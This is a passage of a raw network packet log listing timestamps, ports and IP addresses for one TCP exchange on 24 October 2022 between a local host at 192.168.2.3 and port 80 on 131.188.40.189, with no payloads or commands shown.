Oct 24, 2022 11:08:53.978360891 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978373051 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.978391886 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978401899 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.978424072 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978452921 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978481054 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978497982 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.978511095 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978535891 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.978540897 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978559971 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.978570938 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978591919 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.978600025 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978609085 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.978631973 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978648901 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.978661060 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978679895 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.978688002 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978699923 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.978718996 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978749990 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978780031 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978807926 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978836060 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978863001 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978919029 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978919983 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.978974104 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.980873108 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.980995893 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.987138987 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.987196922 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.987235069 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.987236977 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.987266064 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.987282991 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.987306118 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.987307072 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.987334967 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.987339020 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.987348080 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.987368107 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.987384081 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.987397909 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.987410069 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.987426996 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.987438917 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.987456083 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.987468004 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.987484932 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.987495899 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.987538099 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.987552881 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.987570047 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.987581968 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.987597942 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.987612009 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.987639904 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.987643003 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.987685919 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.989075899 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.989131927 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.989155054 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.989166975 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.989195108 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.989197016 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.989211082 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.989247084 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.989275932 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.989281893 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.989298105 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.989304066 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.989332914 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.989334106 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.989361048 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.989363909 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.989392042 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.989396095 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.989423990 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.989427090 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.989439011 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.989451885 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.989475012 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.989479065 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.989500046 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.989509106 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.989527941 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.989538908 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.989547014 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.989571095 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.989598989 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.989604950 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.989628077 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.989645958 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.989655972 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.989658117 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.989680052 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.989684105 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.989707947 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.989712954 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.989732027 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.989763021 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.999283075 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.999345064 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.999378920 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.999409914 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.999433041 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.999439001 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.999473095 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.999492884 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.999504089 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.999532938 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.999561071 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.999563932 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.999593019 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.999593973 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.999625921 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.999629974 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.999654055 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.999655962 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.999680996 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.999686003 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.999706984 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.999716997 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.999739885 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.999749899 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.999763966 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.999782085 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.999795914 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.999810934 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.999829054 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.999840021 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.999850988 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.999869108 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.999883890 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.999898911 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.999918938 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.999927044 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.999936104 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.999962091 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.999983072 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.999994040 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000025034 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000025034 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000049114 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000052929 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000073910 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000082970 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000092983 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000113010 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000127077 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000144005 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000155926 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000174046 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000189066 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000204086 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000220060 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000236988 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000260115 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000267029 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000291109 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000299931 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000309944 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000329971 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000344038 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000360966 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000374079 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000391006 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000405073 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000418901 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000432968 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000452042 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000459909 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000479937 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000493050 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000510931 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000519991 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000540018 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000560999 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000571966 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000591993 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000601053 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000610113 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000631094 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000643969 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000662088 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000683069 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000691891 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000705957 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000730991 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000740051 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000766039 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000773907 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000794888 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000817060 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000827074 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000853062 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000859022 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000880003 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000888109 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000901937 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000916004 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000937939 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000946045 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000957966 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.000977039 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.000997066 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001007080 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001022100 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001035929 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001050949 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001065969 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001085043 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001096010 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001106024 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001125097 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001138926 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001153946 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001173973 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001183033 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001213074 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001230955 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001230955 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001240969 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001269102 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001271963 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001295090 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001305103 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001324892 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001329899 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001353979 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001354933 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001377106 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001384020 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001403093 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001414061 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001441002 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001444101 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001463890 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001471043 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001501083 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001506090 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001521111 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001534939 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001549959 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001564980 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001593113 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001595974 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001606941 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001626968 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001651049 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001657009 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001679897 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001687050 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001717091 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001718998 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001749992 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001750946 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001775980 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001784086 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001805067 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001811981 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001833916 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001843929 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001863956 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001873016 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001893044 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001905918 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001928091 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001935959 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001961946 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.001970053 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.001995087 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002002001 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002023935 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002032042 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002057076 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002063036 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002091885 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002094984 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002121925 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002140045 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002150059 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002151012 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002177000 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002181053 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002202988 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002213001 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002238035 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002242088 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002273083 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002278090 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002300024 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002302885 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002316952 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002331018 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002341032 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002361059 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002381086 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002392054 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002420902 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002420902 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002434969 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002451897 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002468109 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002482891 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002506971 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002511978 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002541065 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002547026 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002568960 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002573013 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002594948 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002600908 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002621889 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002630949 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002652884 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002667904 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002686024 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002696991 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002720118 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002727985 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002738953 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002758980 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002775908 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002789974 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002804041 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002820969 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002836943 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002851009 CEST	80	49692	131.188.40.189	192.168.2.3
